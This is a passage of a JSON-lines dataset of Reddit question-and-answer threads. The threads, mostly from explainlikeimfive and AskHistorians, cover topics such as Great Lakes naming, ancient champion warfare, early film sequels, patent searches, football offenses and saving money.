in-joke (e.g. Milhouse is not a meme is a meme) to what we've got now, pictures with tangentially related words on them, which themselves evolved from demotivationals, which were created as parodies of motivational posters.", "[I think the use of memes is the lowest form of humor, but I still laugh at them.](_URL_0_)", "I can't believe the reddit admins banned me, the creator of askscience and former top mod, from the subreddit on grounds of parental leave in order to comply with Swedish employment regulations! Now your power is unchecked and you can finally realize your dream of modernizing the subreddit! What's next, you madman? Free-to-post business model with single-click in-thread purchases? \n\nI'm so furious my chakra is turning red... no, purple. I need to go think indigo thoughts. [Goodday, sir.](_URL_0_)\n", "We should develop a measurement for the dankness of the proposed memes.", "Remember kids, science is dank. ", "that's what i'm here for, the dankest maymays", "I really hate that 'meme' has become synonymous with 'image macro'. There are other types of memes you guys! Every trope is a meme, every common saying, urban myth, or even whole religions! Meme is such a broad all-encompassing term!\n\nIt'd be like using the term 'organisms' when you really mean 'people'. \"There are a lot of organisms in this restaurant today\". \"Oh yeah, having a bunch or organisms over for a party tonight if you want to join\". \"Organisms on reddit seem to think image macros are the only kind of meme\". These statements aren't wrong, they're just vague and make you sound stupid. ", "As a professional memer from /r/4ChanMeta  and rare pepe collector (pm for offers, paypal only) I have only this to say:\n\nI'm not sure if you're trolling or just have no idea who I am, but I'm going to give you the benefit of the doubt. In addition to almost 7 years as a confessed meme addict, I have moderated the largest meme forum on the Internet (at over 2 million subscribers) for over a year. You think I don't know memes? In that time I have removed over 400posts for not following subreddit guidelines. In addition to my moderation responsibilities I am one of the most active writers on _URL_0_. You think I don't know memes? Then how do I write articles about them on a site called knowyourmeme? Several mainstream blogs have contacted me to ask about the recent meme phenomenon and each has been thankful and enlightened with what I had to tell them. It's not just limited to blogs though. Several companies have asked me to review their meme ads to avoid a failure like Toyota's meme commercial. Just last week a major food company contacted me with a paid offer to help them on a new ad campaign. I declined when I researched the company and saw that they had contributed money to socially conservative groups. It's safe to say that I am one of the world's foremost experts on memes and in fact there is no one I can think of that has a meme resume as impressive as mine. So please tell me, what are your qualifications to say that I don't know what a meme is?", "Oh man, that post about squinting on here made me question everything for a minute. This may be the only part about April Fools Day that I've enjoyed so far. 10/10 please revert back tomorrow though.", "can we renamed the sub /r/DankAskScience/", "Does E= memesdank\u00b2", "I am a younger member on reddit but this and science are my favourite subreddits. This may be because I like science but keep expanding the sub and lots more people will come "]}, "title_urls": [], "selftext_urls": ["https://i.imgur.com/cGupFiO.jpg", "https://31.media.tumblr.com/106e7e5598f02c6017fb6e146dea465f/tumblr_inline_nimszn3Xft1t98at1.gif", "http://cdn.meme.am/instances/500x/60701546.jpg"], "answers_urls": [[], ["http://vignette2.wikia.nocookie.net/en.futurama/images/d/da/Fry_Looking_Squint.jpg/revision/latest?cb=20110701192358"], [], [], [], ["http://i0.kym-cdn.com/photos/images/facebook/000/336/370/361.jpg"], ["http://i.imgur.com/GiHlx.png"], [], [], [], [], ["knowyourmeme.com"], [], [], [], []]}
{"q_id": "29wxwq", "title": "why is it called lake michigan and not michigan sea? lake superior and not superior sea?", "selftext": "they are so big that it doesn't make sense to me. them being fresh water bodies is not the reason (black sea for ex.). so why not 'five great seas' instead of 'five great lakes'?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/29wxwq/eli5_why_is_it_called_lake_michigan_and_not/", "answers": {"a_id": ["cipamh7", "cipb9hk"], "score": [4, 21], "text": ["Basically the agreed upon terms for geographers now days are that lakes are totally land locked bodies of water and seas have an outlet to the ocean. However these terms were not always agreed upon throughout history. This is why many of these things are incorrectly named. It is agreed upon though that the geographic community won't rename things that have been named such for any length of time. Hope that helps.", "Geologically speaking, altitude.  200' above present sea level is, by definition, always a lake.\n\nInland seas are low enough that at maximum sea level (when there is no ice) they are part of the ocean.  But during an ice age (like now, we have some ice but not a lot), sea level falls enough that inland seas become independent bodies of water.\n\nLake Superior is 600' above present sea level, Lake Ontario is 246'.  Lake Bonneville was a salt lake with a shore at 5100'.  Once upon 17,000 years ago, [it burst through Red Rock Pass and flooded the Snake](_URL_0_); it's now Great Salt Lake, elevation 1200'.  \n\nSeas are places like the Dead Sea is at \u22121,401', Caspian Sea \u221292' and Persian Gulf (currently part of the ocean)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://hugefloods.com/Bonneville.html"]]}
{"q_id": "27z5q6", "title": "How prevalent were \"champions\" in armies in ancient to medieval times?", "selftext": "Remember that scene in Troy where everyone gathers around to watch Paris and the other king (I forgot his name) fight or when Hector (I think) fights Achilles? Are these just used in myths? A creation of hollywood? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/27z5q6/how_prevalent_were_champions_in_armies_in_ancient/", "answers": {"a_id": ["ci5x74o", "ci70e23"], "score": [6, 2], "text": ["I'll limit the first part of my answer purely to the Bronze Age and Iron Age Mediterranean world. They're not a creation of Hollywood, since the battle between Hector and Achilles and the fight between Paris and Menelaos both take place in Homer's *Iliad* (although the movie dramatically changes the outcome of one fight...).\n\nHomer may have somewhat exaggerated the use of champion warfare. The *Iliad*, after all is a story about heroes. And stories of heroes like Ajax and Hector duking it out make for good entertainment. However, we do know that Homer faithfully recorded many details about Bronze Age warfare. The use of chariots, throwing spears, and oxhide shields are all mentioned in homer and have all bee corroborated by historical evidence. In other words, there's reason to believe Homer may have been telling the truth about the (occasional) use of champion warfare during his time period. \n\nLater in history, we do have definite examples of champion warfare. For examples the [Battle of the Champions] (_URL_0_) in 546 BC, which pitted Argive and Spartan champions against each other in an inconclusive battle. \n\nThere's also Livy's mention of the famous Horatii and Curatii triplets who fought each other in single combat during the years after Rome's founding. There's also the famous Horatius Cocles who single-handedly held off invading Etruscan forces trying to cross the Tiber. \n\n", "It was indeed a thing that was done, though not nearly as prevalently as depicted in modern media. \n\nSometimes, a battle was opened with both sides observing a single combat between two champions. These champions were never part of the command structure of the armies, though were not peasant conscripts either. This single combat did not decide anything, but it would give a morale boost to the winning side.\n\nIn pitched battle, individual warriors would sometimes seek out specific other warriors for revenge or to capture for ransom. This would not be occasioned by everyone else stopping to watch and would rarely devolve into single combat, instead more of a team affair with each side's companion fighters contesting in the middle of a chaotic melee.\n\nJudicial, \"trial by combat\" type affairs were common off the battlefield, however, and were often single combat observed by an audience. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ancientgreekbattles.net/Pages/54620_BattleOfChampions.htm"], []]}
{"q_id": "37lr7n", "title": "what does it mean when a subreddit marks a top post with \"/r/all\" flair?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/37lr7n/eli5_what_does_it_mean_when_a_subreddit_marks_a/", "answers": {"a_id": ["crnqb74", "crnr9i9"], "score": [10, 26], "text": ["To indicate that it made it high in reddit's ranking system despite not being a post from a default subreddit. ", "If you're not subscribed to a subreddit and you don't go there directly or through a link from another post, the only way you will see posts from it is if you browse /r/all (which shows you the top posts from all subreddits, including ones you're not subscribed to). So, many subreddits that aren't defaults are somewhat isolated communities; there's no reason or real way for outsiders to find their way in very often. But if a post becomes so popular within a subreddit that it makes it towards the top of /r/all, then there will be a lot of outsiders commenting and voting on that post, which can change the experience significantly. Thus, the flair acts as a kind of warning to the subreddit's subscribers so they know what's going on.  \n\nTake /r/malefashionadvice, for example. It's not a default subreddit, and it's not that gigantic, so usually the only people who see posts from there are people who have gone to that subreddit specifically to learn more about that subject. Thus, that subreddit generally advocates for clothes that are maybe more outside of the mainstream of reddit -- more \"preppy,\" tighter fits, perhaps more expensive than what the average redditor is wearing. Occasionally, though, a post will get so popular that it makes it to the top of /r/all, and suddenly all these people are commenting and voting on the thread that are not really part of the community at all. So certain comments and opinions may be up- or downvoted totally differently than how the subreddit usually works. So the \"/r/all\" flair just acts as a warning, saying, \"Hey, there are lots of outsiders in here, so that's why things may be sort of weird/different.\" "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5jkuvk", "title": "What was the first big movie sequel and how was it received?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5jkuvk/what_was_the_first_big_movie_sequel_and_how_was/", "answers": {"a_id": ["dbh1ky0", "dbh2jwe", "dbhelyk"], "score": [81, 10, 44], "text": ["So some of this has to do with semantics since it depends on how you're defining sequels and big movies. Even in the earliest days of cinema there were series that would play using recurring characters or sequential adaptations of sources such as plays and pieces of folklore even if they were very loose. There was a popular series of Sherlock Holmes adaptations dating back to 1908 _URL_0_ which continuously started the same actor, Viggo Larsen, as Holmes.  \n\nThat said, the first \"big sequel\" in terms of narrative feature films could have been to the first \"big movie,\" namely DW Griffith's Birth of a Nation which is essentially the first feature length film to codify a lot of the techniques and formats seen in narrative films today as well as being a really unfortunate veneration of the Ku Klux Klan. Birth of a Nation was released in 1915 to considerable acclaim and controversy and was followed by The Fall of a Nation in 1916 _URL_1_ . Fall of a Nation was not made by director DW Griffith and was considerably less venerated and is now considered lost, it also does not concern itself with the KKK but with a sort of speculative fiction involving America being taken over by European forces due to American pacifism. ", "So why would Fall of a Nation be considered a sequel then? ", "I would have to disagree with the common knowledge that 1916's *The Fall of a Nation* is the first sequel.\n\nThe first sequel to a feature-length film is probably *His Majesty, the Scarecrow of Oz*, the follow-up to *The Patchwork Girl of Oz*. Both were released in 1914. Both are long enough to be considered feature films. The first one is 81 minutes, and the second one was originally a little over an hour. And unlike *The Fall of a Nation*, the cast from the original *Oz* mostly reprise their roles in the follow-up. Both were produced by the Oz Film Manufacturing Company. And there was a third feature film made at the time as well called *The Magic Cloak of Oz*, though it wasn't released until 1917.\n\nAnother early contender is *Tarzan of the Apes* and *The Romance of Tarzan*, both released in 1918, and both starring Elmo Lincoln and Enid Markey as Tarzan and Jane, respectively.\n\nCanine actor Rin-Tin-Tin starred in a series of immensely popular feature films for Warner Brothers beginning in 1923. Also notable are the *Dr. Mabuse* films, the first of which was made in 1922, but the second not made until 1933, with the same director Fritz Lang and the title role reprised by Rudolf Klein-Rogge.\n\nIn the \"talkie\" era, some of the earliest sequels would be the second films in the feature film series *Bulldog Drummond* starring Ronald Colman, *Charlie Chan* starring Warner Olund, *Frankenstein* starring Boris Karloff, *Dracula* starring Bela Lugosi, *The Thin Man* starring William Powell and Myrna Loy, and *Sherlock Holmes* starring Basil Rathbone and Nigel Bruce.\n\nEDIT: And to answer the second part of the question, *His Majesty, the Scarecrow of Oz* flopped, just like the first film had, which is why the release of the third film *The Magic Cloak of Oz* was pushed back to 1917. Though it did get a 1914 release in edited form as a two-reel short subject, which was the more popular form in the early 1910s. It wasn't until the late 1910s or even early 1920s that hour-plus long films became the dominant form used as the main attraction. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://m.imdb.com/title/tt0000758/", "http://www.imdb.com/title/tt0006664/"], [], []]}
{"q_id": "6e360t", "title": "how do inventors search through the enormous patent database to make sure their new invention doesn't infringe on prior art?", "selftext": "I read somewhere that there are roughly 9 million and more patents. This is an absurd number to search through.\n\nAlso, how thorough are patent researchers/lawyers at finding this stuff out?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6e360t/eli5_how_do_inventors_search_through_the_enormous/", "answers": {"a_id": ["di7bbvl"], "score": [11], "text": ["It is difficult. The bottom line is you do your best to find prior art and then apply.\n\nLonger answer: searching has become pretty good these days. There are a lot of search strategies. You can search for key words that you think anybody would use when they applied for their patents. You can look for other products or ideas that are in the area that you are interested in. You can look at the patents of other companies and inventors in that area. Patents are also classified according to the areas that they pertain to. You can look at other patents in that area.  You can look at the citations of prior art in other patents. You can use a combination of all the above. Some companies subscribe to a patent database that has very good search tools. It is much better than Googling for what you are looking for.\n\nAs for how thorough lawyers are in searching? You never know for sure. Really the best bet are others in the area of interest that you are applying in. People in the same business know the business pretty well. Lawyers also hire a lot of this work out. Yes, you guessed it...India does a lot of it and it is resold to US attys.\n\nWith my current patent application the atty said that their current searching only turns up prior art about 50% of the time BUT almost every patent application gets denied the first time. In other words you try your best to anticipate running into prior art that causes trouble for your patent but the patent examiner may turn up other information. You just have to deal with that when you get there. That is why you hire a good atty. There is a lot of strategy.\n\nAlso, big complanies have access to certain resources that small companies and small inventors do not have. Any search strategy you can think of can be made into an automated update that comes to your email once a day, week, month or year. These searches can be done by hand by actual people at a chosen interval.\n\nLastly, patents are usually expensive to get. You really want a good business case to get one. Don't buy into the idea that you can get them for a few hundred dollars. If it sounds too good to be true it usually is. The patent claims and how they are structured is everything. A good atty is worth it when it comes to structuring these right. \n\nWhy do I know? I've applied for a few."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6gn62r", "title": "why do we enjoy depressing/sad stories (movies, books, gamers, etc.)?", "selftext": "Is it because they make us feel better about our own problems or what?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6gn62r/eli5_why_do_we_enjoy_depressingsad_stories_movies/", "answers": {"a_id": ["diriwwv", "dirkvme", "dirr9l6", "dirwq8z"], "score": [11, 2, 2, 4], "text": ["Yes, they help us notice our own sad feelings, which we often push aside. Looking at *someone else* being sad is sometimes more tolerable than directly confronting a sad thing in our own life that we need to notice.", "Yes. It's not like it's joy to see somebody suffer, it's about relating to it. Look, somebody has the same problems as I. Or worse. I'm not alone. Maybe they overcome them, maybe they carry on despite the obstacles. This gives me hope and strength to fight my own battles. ", "Personally, I enjoy watching or reading them bc they make me feel alive by making me feel the variety of emotions (including heartaches n such) that I don't get to experience irl ", "I've thought about this before, my ideas:\n\n1. Maybe it's cathartic to release feelings of sadness through a medium that doesn't affect our real lives\n\n2. Crying actually releases endorphins which makes you feel better afterwards\n\n3. Many of us are really good at empathising and we feel so drawn into a good book/film etc. that the story feels real and moves us. We like to feel things.\n\n4. Some people like to wallow/feel sorry for themselves and this could be an extension of that for them, even intensifying those feelings.\n\n5. To make us feel better about our own lives\n\n(Oops, the list got more and more pessimistic.)\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "q61zn", "title": "why don't college football offenses work in the nfl?", "selftext": "What makes the innovation in college football offenses not translate to the NFL? And if NFL offenses are somehow superior, why are \"pro-style\" offenses not commonly used in college football? Why do NFL teams value a quarterback's ability to play \"under center\" more than from shotgun?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/q61zn/eli5_why_dont_college_football_offenses_work_in/", "answers": {"a_id": ["c3v0kp6", "c3v1bjd", "c3v2ktp", "c3v3aq8", "c3v4jb9", "c3v6icr"], "score": [2, 9, 2, 2, 2, 2], "text": ["It's hard to see from the angles we get on TV, but if you had access to what's called the \"all-22\" angles, that show the entire field from a high angle, you would understand very quickly the difference in skill level between NFL and NCAA defensive backs and receivers. Things like precise timing and crossing routes, variable coverage, reactive zones etc are things that can really only be tuned to an acceptable level if that is literally your profession.\n\nA coach with access to this can do a whole lot more out of certain formations, while college strategy needs to allow for a certain degree of simplicity.", "1. NFL players are better - less than 10% of Div I players every play a down in the pros\n2. College talent is thinner - there are 32 NFL teams, but over 200 Div I-A and Div I-AA college teams, so the average talent level on each team is lower\n2. NFL players are more experienced - a typically college player might get 1 or 2 seasons as a starter, compared to a 10 year pro in the NFL\n3. NFL players are bigger - a typical male does not stop growing until his early twenties...NFL players aren't getting used to changing bodies\n4. NFL players are pros - they don't have to worry about passing grades or how their parents are going to make rent...they can dedicate themselves completely to learning a complex playbook\n5. NFL teams have tighter competition - a top college program is designed to beat up on creampuffs and maybe have 2 or 3 competitive games each year...most games are competitive in the NFL\n6. College is a different game - it has different rules and is officiated in a different manor...different games need different strategies", "What nobody has mentioned yet is speed.  NFL is much faster than the college game.  This is why most college plays do not work.  When you hike the ball you have maybe three seconds to get rid of it.  If you can't play under center and pass then you will probably be sacked.", "This is ELI5, so let's talk about about 5 year olds (or a bit older).  Whey doesn't a Pee Wee offense work in college.  Well, in Pee Wee football, you never pass, you just run.  Team can be really good at just running the ball and score all the time.  So why not run that at the college level.  Well, if you did, you'd get killed.  Teams would stop doping defensive players into coverage, and keeping everyone on the line every play.  The threat of the pass keeps the defense honest. You don't have to pass a lot, but being able to pass when you want means that the defense has to drop into coverage, opening things up for the run. \n\nSo, now, why can't Pee Wee teams run a college style offense ... well, they can't.  They offense has almost no ability to make a pass.  The QB / Receivers just aren't good enough most of the time to catch a ball.  So, all you can do is run and hope that the defense can't keep up. If they try to pass, their going to go 4 and out every down and lose so why even try.  \n\nNow, some lucky pee wee teams have 3 or 4 really good players who are really good.  Those teams can run more complex plays and will dominate the others in the league.  The local high schools will then get the top 3 or 4 players from each pee wee club, and then they will be able to run more complex offenses and defenses that includes passes and pass protection.             \n\nNow, I don't know enough about the pro or college game to give you detailed breakdowns of the differences.  But, some college's DO run pro style offenses.  Look at the ones that do.  They are typically the schools that have managed to hoard top talent that's skilled enough to run more complex schemes.  Those same teams also typically dominate when compared to the lesser schools.  If your pro style offense is skilled enough, it will out perform the inferior defensive plans.  However, if not, the under skilled team trying to run the complex offense will defeat itself.  ", "I don't see why you are equating the spread offense with college football.  There are just as many that run the triple/flex option, but both pale in number to those that do run a pro-style offense.  The spread is used in conjunction with zone blocking to give teams that have less individual skill and better chance on the field.  It allows for pure speed to try to catch people off guard.  Unfortunately for those that would try to use it exclusively in the nfl, there are de's and lb's that can run down the sprinters.\n\nThe triple option forces teams to assign basically man-on-man coverage, but this falls victim to stacking the box.\n\nLastly, I don't see many teams employing the I-form.  I'd say you see the Ace (single-back, two tight end) formation far more these days.", "Offenses in college football, like the \"option\" often rely on an individual player using his superior athleticism to overpower an opposing defense. \n\nBecause the level of athleticism among players in the NFL is so much great than in college, offensive players are no longer able to simply overpower defenses. \n\nA perfect example of this is the recent NFL playoff game between the Denver Broncos and the New England Patriots. \n\nTim Tebow, a famed college QB, was able to use his superior athleticism in running the option to great effect in college. The Patriots however were very very easily able to stop it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "jee3d", "title": "the best and most practical ways for a person to begin saving money.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/jee3d/eli5_the_best_and_most_practical_ways_for_a/", "answers": {"a_id": ["c2bex32", "c2bexm4", "c2beyas", "c2bg3wx", "c2bgeza", "c2bex32", "c2bexm4", "c2beyas", "c2bg3wx", "c2bgeza"], "score": [8, 2, 2, 2, 10, 8, 2, 2, 2, 10], "text": ["The basic premise behind saving money is to (I know this will sound sarcastic) spend less than you make. There are a lot of ways to do this, but I think the best would be to create a budget and stick to it. Try the [envelope savings method.](_URL_0_) I believe that it works by putting together a simple budget where each of your bills gets a set amount and an envelope. You start the month by putting \"X\" cash in each envelope, and everytime you go to do something, you only use the cash in that envelope. \n\nEX: $300 for groceries for the month. You only use the cash in that envelope for groceries and put the change in it. Hopefully at the end of the month you have leftover cash in that envelope that you can save. Don't only use this for essential spending, but also for your \"fun\" stuff, too. Have an envelope for bar money, or movies, or going out to eat. Have one for each and stick to your budget. Once the envelope is empty you can't go do that activity again.\n\nEDIT: Also, go read the FAQ's on r/frugal and r/personalfinance. They can help you get started.", "I think there's two important things here. One is to save money - to actually put it somewhere that you can't touch. If you're five, a piggy bank is a great place. If you're old enough to open a bank account, then a savings account is a great place. Put some money into your safe place regularly, and watch it grow.\nThe second is to not spend as much of the money that you have. If you're five - don't buy sweets, instead save the money. If you're 21 - same rules apply. Figure out how to do things for less money, like making packed lunches rather than buying sandwiches, skipping the Starbucks and bottled water.\n\nIf you owe money - pay that back first. Loans always cost you more than you think. If you really want to save money, always buy things once you can afford them, not before.", "Stop spending it!\n\nBuy cheaper food, don't eat out, move to cheaper apartment...", "Saving is like dieting. It's mostly about urge control. \n\n* Limit your exposure to situations where spending is likely to happen: malls, restaurants, etc.\n* Eat at home. Pack a lunch.\n* Leave your credit card at home. Take minimal cash with you.\n* Wait before making big purchases. Think it over two or three times.\n* Supermarkets are minefields. Take the time to think about each purchase. Walk over 3 shelves or 3 aisles to find the same item for less. Never go to the supermarket on an empty stomach.\n* Look at all of the expensive stuff you bought before and are not using now. Think about those things whenever you're about to buy something. How long will you really use it? Is it really worth having at all?\n* Can you borrow that same thing from someone else?\n* Have only one credit card with a low limit. Never use it. Pay it off in full before the due date. Never carry a balance on a credit card.\n* Stay away from \"investing\" in stocks, mutual funds, etc. Now is not \"a good time to invest\" nor is it ever. Don't feel stupid for not \"investing\" your savings. Many who have \"invested\" their saving during the past decade are now wishing they didn't. Don't be suckered into joining them. Any financial adviser who tries to convince you otherwise is doing so because they earn a commission for every sucker they reel into their boat. \n* If you want to invest, invest in yourself. Take a class, buy a book, get certified. Level up your own skill set.\n* When you do have a stash of money accumulated you must turn down the volume of the voice in your head saying \"You can buy that. You can afford that. You can buy three of those!\" Forget about your stash. Let it sleep. Tell that voice \"Yeah, so what? I don't need it.\"\n* Allow yourself to buy a fancy dinner or cool toy once in a while. All things in moderation. You don't have to live cheap all the time, just control your urge to buy stuff you really don't need.\n", "To start, join [_URL_1_](_URL_0_). Use that tool to look at (and monitor) your current expenditures and income. Now minimize those expenditures. Take a month and REALLY scrutinize every dollar you spend. Do I *need* to go see this movie at the full-fare theater? Do I *need* to spend $40 on dinner on Friday night? Identify alternatives (cheap theaters, less expensive restaurants, smaller portions, planning out your cooking). Reduce your bills - adjustable thermostat, make the temperature slightly warmer/cooler depending on the season, unplug devices that are not in use (power strips work well with this), reduce your cable/internet service, shop for cheaper insurance.\n\nNow that you've scrutinized everything, set baselines, goals, and budgets. Like, I'll spend $250 on groceries and less than $100 on restaurants this month. If it's not doable, then adjust your budget so you're not always over-spending. You want to be realistic, but also actively *trying* to spend less money.\n\nAt this point, I hope your income is greater than your expenditures. If not, you need to revisit your bills and especially car/house notes. If you can't afford the car note, sell it and buy something older than you CAN afford. If you can't afford your apartment/house, you need to move.\n\nOk, so, with the extra you have from your income each month, you want three types of accounts:\n\n1. *Emergency fund* - This is fine to keep in the checking account your paychecks end up going into. $1000 is a decent goal here since most problems that occur will be less than that. Pipes burst in your house? That's a couple hundred you can pull from there and replenish next month.\n\n2. *Savings* - This probably isn't a savings account at a big bank because they get shit interest usually. You want something that'll get decent interest (high interest savings, money market if you have enough to put in there, etc...), but keep your funds relatively liquid. You don't want to pull from these funds if you don't have to, but if an emergency happens that costs more than the $1000 you have in your emergency fund account, here's where you go next. This is also where you put/pull from for big purchases. If you're saving for a car or down payment on a house, add those monies to this account so you can gain interest while saving.\n\n3. *Retirement* - This shouldn't be a single account, but multiple. If you make less than the max allowed, open a Roth IRA as one of your retirement vehicles. That money is paid in after taxes, and therefore grows tax free (when you pull it out, you pay nothing more). If your work has a 401k or similar that does matching, at MINIMUM max their match. If they match 1:1 up to 6%, put 6% of your pay check into the 401k. This is free money and a no-brainer. Once you max out a Roth and 401k, more can go into regular stock/bond accounts. ETF's are the simplest things to buy and as long as your investment is for many years, really safe. As you get close to needing that money, move it to bonds so it is safe from market fluctuations at that time. Do the same thing for your 401k and IRA vehicles. \n\nIf an emergency occurs that burns through your emergency fund AND savings, pull from the Roth first. You can take out the principle you've added in without penalty (as long as you leave the interest that money has gained in). If you still need more you can liquidate your stock account, but note you'll have to pay capital gains (CGT) on the money. Leave the 401k and any classic IRA's you might have for last, because they are most subject to penalty. Generally if you can put the money back end before the end of the year, you can avoid that penalty though.\n\nReevaluate your expenditures OFTEN. I do it twice a year. Expenditures have a way of creeping upward. Cell phone bills go up, insurance rates increase, etc... And if you shop around every 6 months, you're doing yourself a huge favor. \n\nFinally, expensive debt needs to be attacked prior to savings and non-401k retirement (again, free money!) Any credit cards you have retaining a balance is Step 1. If you find it difficult to get in control of your CC debt, try credit arbitrage where you move money off an expensive card to a new one with 0% APR for a year. Do this multiple times until your debt is free for 12 months, then attack it with gusto. Student Loans are also an expensive debt these days (though mine is 2.25% left over from the early 2000's, so I pay just over minimum on that). And car loans can be expensive too. In the future, pay cash for a car from your savings account instead of taking out a loan unless you can get a really good deal on the money... like, less than 4% (again, I have a car loan for my wife's car for 3.5%, so not too worried about it). Paying cash for a car takes planning, so if you think you'll want a car in 4-5 years, start putting away $200-250 a month NOW. Treat it like a car note except you still have access to the money and get interest on it.\n\nThese are my very simple methods. I don't do crazy stuff with stock trading or anything like that and I don't have to watch my money like a hawk or worry about the next emergency because I have enough liquid funds to deal with it. For your future, slow and steady wins the race, and for your now, having enough funds to deal with emergencies will cause you to have far less stress in your life.", "The basic premise behind saving money is to (I know this will sound sarcastic) spend less than you make. There are a lot of ways to do this, but I think the best would be to create a budget and stick to it. Try the [envelope savings method.](_URL_0_) I believe that it works by putting together a simple budget where each of your bills gets a set amount and an envelope. You start the month by putting \"X\" cash in each envelope, and everytime you go to do something, you only use the cash in that envelope. \n\nEX: $300 for groceries for the month. You only use the cash in that envelope for groceries and put the change in it. Hopefully at the end of the month you have leftover cash in that envelope that you can save. Don't only use this for essential spending, but also for your \"fun\" stuff, too. Have an envelope for bar money, or movies, or going out to eat. Have one for each and stick to your budget. Once the envelope is empty you can't go do that activity again.\n\nEDIT: Also, go read the FAQ's on r/frugal and r/personalfinance. They can help you get started.", "I think there's two important things here. One is to save money - to actually put it somewhere that you can't touch. If you're five, a piggy bank is a great place. If you're old enough to open a bank account, then a savings account is a great place. Put some money into your safe place regularly, and watch it grow.\nThe second is to not spend as much of the money that you have. If you're five - don't buy sweets, instead save the money. If you're 21 - same rules apply. Figure out how to do things for less money, like making packed lunches rather than buying sandwiches, skipping the Starbucks and bottled water.\n\nIf you owe money - pay that back first. Loans always cost you more than you think. If you really want to save money, always buy things once you can afford them, not before.", "Stop spending it!\n\nBuy cheaper food, don't eat out, move to cheaper apartment...", "Saving is like dieting. It's mostly about urge control. \n\n* Limit your exposure to situations where spending is likely to happen: malls, restaurants, etc.\n* Eat at home. Pack a lunch.\n* Leave your credit card at home. Take minimal cash with you.\n* Wait before making big purchases. Think it over two or three times.\n* Supermarkets are minefields. Take the time to think about each purchase. Walk over 3 shelves or 3 aisles to find the same item for less. Never go to the supermarket on an empty stomach.\n* Look at all of the expensive stuff you bought before and are not using now. Think about those things whenever you're about to buy something. How long will you really use it? Is it really worth having at all?\n* Can you borrow that same thing from someone else?\n* Have only one credit card with a low limit. Never use it. Pay it off in full before the due date. Never carry a balance on a credit card.\n* Stay away from \"investing\" in stocks, mutual funds, etc. Now is not \"a good time to invest\" nor is it ever. Don't feel stupid for not \"investing\" your savings. Many who have \"invested\" their saving during the past decade are now wishing they didn't. Don't be suckered into joining them. Any financial adviser who tries to convince you otherwise is doing so because they earn a commission for every sucker they reel into their boat. \n* If you want to invest, invest in yourself. Take a class, buy a book, get certified. Level up your own skill set.\n* When you do have a stash of money accumulated you must turn down the volume of the voice in your head saying \"You can buy that. You can afford that. You can buy three of those!\" Forget about your stash. Let it sleep. Tell that voice \"Yeah, so what? I don't need it.\"\n* Allow yourself to buy a fancy dinner or cool toy once in a while. All things in moderation. You don't have to live cheap all the time, just control your urge to buy stuff you really don't need.\n", "To start, join [_URL_1_](_URL_0_). Use that tool to look at (and monitor) your current expenditures and income. Now minimize those expenditures. Take a month and REALLY scrutinize every dollar you spend. Do I *need* to go see this movie at the full-fare theater? Do I *need* to spend $40 on dinner on Friday night? Identify alternatives (cheap theaters, less expensive restaurants, smaller portions, planning out your cooking). Reduce your bills - adjustable thermostat, make the temperature slightly warmer/cooler depending on the season, unplug devices that are not in use (power strips work well with this), reduce your cable/internet service, shop for cheaper insurance.\n\nNow that you've scrutinized everything, set baselines, goals, and budgets. Like, I'll spend $250 on groceries and less than $100 on restaurants this month. If it's not doable, then adjust your budget so you're not always over-spending. You want to be realistic, but also actively *trying* to spend less money.\n\nAt this point, I hope your income is greater than your expenditures. If not, you need to revisit your bills and especially car/house notes. If you can't afford the car note, sell it and buy something older than you CAN afford. If you can't afford your apartment/house, you need to move.\n\nOk, so, with the extra you have from your income each month, you want three types of accounts:\n\n1. *Emergency fund* - This is fine to keep in the checking account your paychecks end up going into. $1000 is a decent goal here since most problems that occur will be less than that. Pipes burst in your house? That's a couple hundred you can pull from there and replenish next month.\n\n2. *Savings* - This probably isn't a savings account at a big bank because they get shit interest usually. You want something that'll get decent interest (high interest savings, money market if you have enough to put in there, etc...), but keep your funds relatively liquid. You don't want to pull from these funds if you don't have to, but if an emergency happens that costs more than the $1000 you have in your emergency fund account, here's where you go next. This is also where you put/pull from for big purchases. If you're saving for a car or down payment on a house, add those monies to this account so you can gain interest while saving.\n\n3. *Retirement* - This shouldn't be a single account, but multiple. If you make less than the max allowed, open a Roth IRA as one of your retirement vehicles. That money is paid in after taxes, and therefore grows tax free (when you pull it out, you pay nothing more). If your work has a 401k or similar that does matching, at MINIMUM max their match. If they match 1:1 up to 6%, put 6% of your pay check into the 401k. This is free money and a no-brainer. Once you max out a Roth and 401k, more can go into regular stock/bond accounts. ETF's are the simplest things to buy and as long as your investment is for many years, really safe. As you get close to needing that money, move it to bonds so it is safe from market fluctuations at that time. Do the same thing for your 401k and IRA vehicles. \n\nIf an emergency occurs that burns through your emergency fund AND savings, pull from the Roth first. You can take out the principle you've added in without penalty (as long as you leave the interest that money has gained in). If you still need more you can liquidate your stock account, but note you'll have to pay capital gains (CGT) on the money. Leave the 401k and any classic IRA's you might have for last, because they are most subject to penalty. Generally if you can put the money back end before the end of the year, you can avoid that penalty though.\n\nReevaluate your expenditures OFTEN. I do it twice a year. Expenditures have a way of creeping upward. Cell phone bills go up, insurance rates increase, etc... And if you shop around every 6 months, you're doing yourself a huge favor. \n\nFinally, expensive debt needs to be attacked prior to savings and non-401k retirement (again, free money!) Any credit cards you have retaining a balance is Step 1. If you find it difficult to get in control of your CC debt, try credit arbitrage where you move money off 